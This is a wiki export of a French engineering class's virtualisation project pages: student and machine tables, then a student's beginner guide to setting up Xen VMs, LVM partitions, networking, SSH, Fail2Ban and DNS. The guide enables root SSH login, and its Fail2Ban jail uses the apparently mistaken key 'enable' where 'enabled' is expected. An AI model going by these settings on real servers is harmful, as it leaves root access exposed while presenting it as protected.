|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || || SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinux.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || || SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || || SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || || ||&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || || ||&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || || SE4.Elvis||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || || SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.161|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| || Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|-&lt;br /&gt;
| || || Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| || Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|-&lt;br /&gt;
| || || Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|-&lt;br /&gt;
| || || Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|-&lt;br /&gt;
| SE4.RockStar|| || Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| &amp;lt;code&amp;gt;193.48.57.166&amp;lt;/code&amp;gt;|| Mohamed Salhi &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l'école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d'adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;X.Y.Z.A&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 ||&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2024/2025_E14&amp;diff=11243</id>
		<title>Atelier SysRes SE4 2024/2025 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2024/2025_E14&amp;diff=11243"/>
		<updated>2026-01-20T13:46:22Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* CRÉATION MACHINES VIRTUELLES */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''Projet AARV LECOMTE et CASIMIRI'''&lt;br /&gt;
&lt;br /&gt;
== INTRODUCTION ==&lt;br /&gt;
Dans le cadre de ce projet de virtualisation, j’ai déployé une infrastructure composée de '''deux machines dédiées aux services''' et d’une '''machine mandataire''', le tout orchestré à l’aide de '''Xen'''.&lt;br /&gt;
&lt;br /&gt;
La machine '''Atreus''' joue un rôle central en assurant '''l’hébergement des services web''' et autres composants applicatifs. La machine '''GOW''' fait office de '''mandataire réseau''' : elle gère la '''connectivité vers l’extérieur''', que ce soit en '''IPv4 ou en IPv6''', et sert aussi de '''reverse proxy''' pour rediriger les requêtes vers les machines de service internes.&lt;br /&gt;
&lt;br /&gt;
La '''deuxième machine de service''' appartient à Monsieur '''Antoine LECOMPTE''' et porte le nom de '''Kratos'''. Elle complète l’architecture et participe à l’ensemble des services distribués au sein de l’infrastructure.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;big&amp;gt;'''✉️ Petit mot pour les prochaines promotions'''&amp;lt;/big&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Salut à vous les prochaines promos 👋&lt;br /&gt;
&lt;br /&gt;
Dans ce document, j’ai essayé de vous expliquer au mieux les différentes étapes que j’ai traversées pour monter ce projet. Je me suis appuyé sur ce que j’ai compris moi-même au fil des TP, les cours des profs (qu’il faut vraiment relire, ils sont précieux), des ressources trouvées sur Internet, et je ne vais pas vous mentir… parfois un petit coup de main de certains LLM comme ChatGPT 👀 m’a bien aidé quand je bloquais.&lt;br /&gt;
&lt;br /&gt;
Ce n’est pas un tutoriel parfait, mais plutôt un guide pour vous accompagner avec des explications techniques assez simples à comprendre (que je pense avoir compris surtout), même si vous n’avez encore jamais touché au réseau, à l’infra ou à un serveur web. L’objectif, c’est que vous puissiez prendre confiance, comprendre les bases, et réussir à faire tourner votre projet sans paniquer.&lt;br /&gt;
&lt;br /&gt;
Je vous souhaite vraiment bon courage pour ce projet. C’est l’un des meilleurs moyens d’apprendre concrètement et de progresser à fond. N’hésitez pas à poser des questions à vos profs, ils sont là pour vous aider. Prenez le temps de relire vos cours tranquillement, et surtout, n’ayez pas peur de tester, de faire des erreurs, de casser et de recommencer (certains profs demande à ce qu'on casse les machines pour montrer qu'on cherche) : c’est comme ça qu’on apprend.&lt;br /&gt;
&lt;br /&gt;
Si vous avez l'occasion de les consulter, je vous conseille vivement d'aller regarder les wikis de Madame EL BACHIRI, Monsieur TOURON et Monsieur DETREZ. Ils ont certaines informations en plus que moi sur tout ce qui va être configurations CISCO, OSPF et tout ce qui touche au physique (câbles, commutateurs).&lt;br /&gt;
&lt;br /&gt;
En espérant que vous allez plus loin que nous sur ce projet ![[Fichier:Df -h.png|vignette]]&lt;br /&gt;
&lt;br /&gt;
== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous devons configurer nos MV de services. Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Atreus --dhcp --bridge=bifrost --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Kratos --dhcp --bridge=bifrost --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Atreus&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi créer des volumes logiques dédiés à des /var et /home pour chacune de nos VM.&lt;br /&gt;
&lt;br /&gt;
Pour initialiser les machines, nous devons exécuter ces commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Atreus.cfg&lt;br /&gt;
xen create /etc/xen/SE4.Kratos.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Une fois les MV créées et en ligne, nous devons exécuter ces commandes pour les contrôler:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.Atreus&lt;br /&gt;
xen console SE4.Kratos&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Une fois le login &amp;quot;root&amp;quot; et le mdp (top secret) rentrés dans la console, nous sommes sur la VM et pouvons la contrôler comme un ordinateur avec un OS classique.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@Atreus:~#&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PARTIONING DES MV ==&lt;br /&gt;
Nous avons modifié les fichiers &amp;lt;code&amp;gt;/etc/xen/[Kratos][Atreus].cfg&amp;lt;/code&amp;gt; pour attacher les partitions LVM aux machines :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Atreus/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Atreus/swap.img,xvda1,w',&lt;br /&gt;
		  'phy:/dev/virtual/SE4.Atreus.home,xvda3,w',&lt;br /&gt;
		  'phy:/dev/virtual/SE4.Atreus.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le paramètre &amp;lt;code&amp;gt;disk&amp;lt;/code&amp;gt; définit les disques virtuels attachés à la machine virtuelle (domaine Xen).&lt;br /&gt;
&lt;br /&gt;
Chaque élément du tableau suit la syntaxe :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;type&amp;gt;:&amp;lt;source&amp;gt;,&amp;lt;cible&amp;gt;,&amp;lt;mode&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''type :''' indique si le disque provient :&lt;br /&gt;
** d'un fichier (&amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt;)&lt;br /&gt;
** d'un périphérique physique réel (&amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;).&lt;br /&gt;
* '''source :''' chemin complet vers l'image disque ou vers le périphérique physique sur la machine hôte.&lt;br /&gt;
* '''cible :''' nom du périphérique vu par la machine virtuelle (exemple : &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt;, etc.).&lt;br /&gt;
&lt;br /&gt;
* '''mode :''' type d'accès au disque (&amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; en lecture seule, &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; en lecture-écriture).&lt;br /&gt;
&lt;br /&gt;
==== DISQUE VIRTUEL PRINCIPAL : ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Atreus/disk.img,xvda2,w'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''Type''' : &amp;lt;code&amp;gt;file&amp;lt;/code&amp;gt; (stockage basé sur un fichier-image disque).&lt;br /&gt;
* '''Source''' : &amp;lt;code&amp;gt;/usr/local/xen/domains/SE4.Atreus/disk.img&amp;lt;/code&amp;gt; (fichier contenant le disque virtuel).&lt;br /&gt;
* '''Cible''' : &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt; (deuxième partition du disque virtuel &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; visible depuis la MV).&lt;br /&gt;
* '''Mode''' : &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; (lecture-écriture).&lt;br /&gt;
&lt;br /&gt;
Ce disque correspond à la racine (&amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt;) du système de fichiers Linux de la MV.&lt;br /&gt;
&lt;br /&gt;
==== DISQUE VIRTUEL SWAP ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Atreus/swap.img,xvda1,w'&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''Type :''' &amp;lt;code&amp;gt;file&amp;lt;/code&amp;gt; → Image disque stockée dans un fichier.&lt;br /&gt;
* '''Source :''' &amp;lt;code&amp;gt;/usr/local/xen/domains/SE4.Atreus/swap.img&amp;lt;/code&amp;gt; → Chemin de l'image disque swap.&lt;br /&gt;
* '''Cible :''' &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt; → Première partition du disque virtuel &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== DISQUE PHYSIQUE POUR /home ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Atreus.home,xvda3,w'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''Type :''' &amp;lt;code&amp;gt;phy&amp;lt;/code&amp;gt; → Un périphérique physique (généralement une partition réelle ou un volume logique LVM).&lt;br /&gt;
* '''Source :''' &amp;lt;code&amp;gt;/dev/virtual/SE4.Atreus.home&amp;lt;/code&amp;gt; → Partition ou volume logique physique sur l'hôte. L'hôte étant le disque dur de capbreton.&lt;br /&gt;
* '''Cible :''' &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; → Troisième partition du disque virtuel &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Cette partition dédiée permet d’isoler le répertoire &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;, facilitant ainsi la gestion des données utilisateur séparément du système.&lt;br /&gt;
&lt;br /&gt;
==== DISQUE PHYSIQUE POUR /var ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Atreus.var,xvdb1,w'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''Type :''' &amp;lt;code&amp;gt;phy&amp;lt;/code&amp;gt; → Périphérique physique.&lt;br /&gt;
* '''Source :''' &amp;lt;code&amp;gt;/dev/virtual/SE4.Atreus.var&amp;lt;/code&amp;gt; → Partition physique ou volume logique dédié sur l'hôte.&lt;br /&gt;
* '''Cible :''' &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; → Première partition du second disque virtuel (&amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Cette partition est dédiée au répertoire &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, où sont stockés les journaux (logs), les bases de données, les fichiers temporaires, etc. Cette séparation permet une meilleure gestion des données systèmes dynamiques.&lt;br /&gt;
&lt;br /&gt;
Pour le fichier /var&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour le fichier /home&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DÉMARRAGE AUTOMATIQUE DU MONTAGE ====&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Fichier fstab.png|Fichier_fstab|centré]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== CONFIGURATION RÉSEAU ==&lt;br /&gt;
&lt;br /&gt;
Chaque machine dispose d'une adresse IPv4 fixe sur un réseau privé, ainsi que d'une adresse IPv6 configurée automatiquement.&lt;br /&gt;
&lt;br /&gt;
Nous modifions la configuration réseau dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; de la machine mandataire. Ensuite, nous ajustons le fichier de configuration de la machine virtuelle afin qu'elle possède deux interfaces : la première permet de communiquer avec le routeur mis en place par nos collègues, tandis que la seconde est connectée au pont réseau que nous avons créé pour l’intercommunication entre nos trois machines.&lt;br /&gt;
&lt;br /&gt;
=== MACHINE MANDATAIRE ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
name        = 'SE4.GOW'&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
#  Networking&lt;br /&gt;
#&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
vif         = [ 'mac=00:16:3E:E7:C5:1A,bridge=bifrost',&lt;br /&gt;
		'mac=00:16:3E:E7:C5:1B,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le pont nommé '''&amp;quot;bifrost&amp;quot;''', défini dans le fichier de configuration de notre machine virtuelle mandataire, sert à '''relier virtuellement les trois machines''' entre elles.&lt;br /&gt;
&lt;br /&gt;
Pour que des machines puissent communiquer, elles doivent être sur le '''même réseau'''. Ici, c’est un '''VIF (Virtual Interface)''' qui joue ce rôle : c’est une sorte de '''commutateur virtuel''' (ou switch virtuel).&lt;br /&gt;
&lt;br /&gt;
Un '''commutateur''', c’est ce que vous imaginez peut-être comme une grosse boîte avec plein de câbles et de lumières clignotantes, qu’on trouve dans les salles serveurs.&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, tout ça est '''simulé dans la machine virtuelle''', donc pas de câbles physiques : la communication se fait via la '''carte réseau virtuelle''' attribuée à chaque machine.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface réseau est visible dans le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;. On peut modifier ce fichier pour attribuer une adresse IP fixe à la machine GOW.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 192.168.3.1/24&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 193.48.57.172/27&lt;br /&gt;
	gateway 193.48.57.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MACHINE DE SERVICES ===&lt;br /&gt;
/etc/network/interfaces de la machine SE4.Atreus qui permet de lié les Interfaces de la MV avec ses VIF pour communiquer en IPv6 avec Internet et IPv4 avec la machine mandataire &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 192.168.3.2/24&lt;br /&gt;
	gateway 192.168.3.1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On configure la machine mandataire comme une passerelle (gateway) en IPv4. En IPv6, l’adresse est attribuée automatiquement grâce au bridge SE4.&lt;br /&gt;
&lt;br /&gt;
Une fois que chaque machine peut être pingée par les autres et qu’elles arrivent à envoyer des requêtes vers Internet, on peut passer à l’étape suivante.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Interfacekratos.png|alt=Interfacekratos|Interfacekratos|centré|vignette|470x470px]]&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; |[[Fichier:IpaAtreusIp6Ip4.png|vignette|546x546px|ip a de la machine SE4.Atreus|centré]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Fichier:PingEntre2VM.png|alt=PingEntre2VM|PingEntre2VM|centré|vignette|986x986px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== SSH ====&lt;br /&gt;
On active le SSH avec la ligne &amp;lt;code&amp;gt;PermitRootLogin yes&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt;sur les 3 machines, on peut accéder à la mandataire avec son adresse IPv4 routée, pour les machines de service on utilise l'adresse en IPv6&lt;br /&gt;
&lt;br /&gt;
===== 🛡️ Sécurisation SSH avec Fail2Ban =====&lt;br /&gt;
📄 '''Fichier :''' &amp;lt;code&amp;gt;/etc/fail2ban/jail.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ce fichier contient les règles locales de '''Fail2Ban''', un outil qui surveille les logs système et '''bannit temporairement les adresses IP''' en cas de comportement suspect (comme des tentatives de connexion SSH répétées avec un mauvais mot de passe).&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable  = true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter  = sshd&lt;br /&gt;
maxretry = 3&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Paramètre&lt;br /&gt;
!Explication&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;enable = true&amp;lt;/code&amp;gt;&lt;br /&gt;
|Active la surveillance de SSH.&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;port = ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|Surveille le port SSH.&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;filter = sshd&amp;lt;/code&amp;gt;&lt;br /&gt;
|Utilise le '''filtre prédéfini''' &amp;lt;code&amp;gt;sshd.conf&amp;lt;/code&amp;gt;, qui détecte les échecs de connexion dans les logs.&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;maxretry = 3&amp;lt;/code&amp;gt;&lt;br /&gt;
|'''3 tentatives''' ratées autorisées avant bannissement.&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;findtime = 300&amp;lt;/code&amp;gt;&lt;br /&gt;
|La fenêtre de détection : '''5 minutes''' pour accumuler ces 3 tentatives.&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;bantime = 600&amp;lt;/code&amp;gt;&lt;br /&gt;
|Durée de bannissement : '''10 minutes''' (600 secondes).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== CONFIGURATION DNS ===&lt;br /&gt;
Rappel : Qu’est-ce qu’un serveur DNS ?&lt;br /&gt;
&lt;br /&gt;
Vu en cours avec Monsieur redon et Monsieur Vantroys, DNS veut dire '''Domain Name System'''. C’est un '''service''' qui fait la conversion entre un '''nom de domaine''' (comme &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;) et une '''adresse IP''' (comme &amp;lt;code&amp;gt;193.48.57.172&amp;lt;/code&amp;gt;), que les machines utilisent pour communiquer. Ce sont les pages jaunes des serveurs et IP d'Internet. On ne connait pas l'adresse IP de tous les sites. On ne connait que les noms. Quand on écrit netflix.com sur Internet, on interroge les serveurs DNS pour qu&amp;quot;il puisse nous rediriger vers l'adresse IP associé au nom &amp;quot;netflix.com&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
==== 🌍 Fichier de zone DNS : &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt; ====&lt;br /&gt;
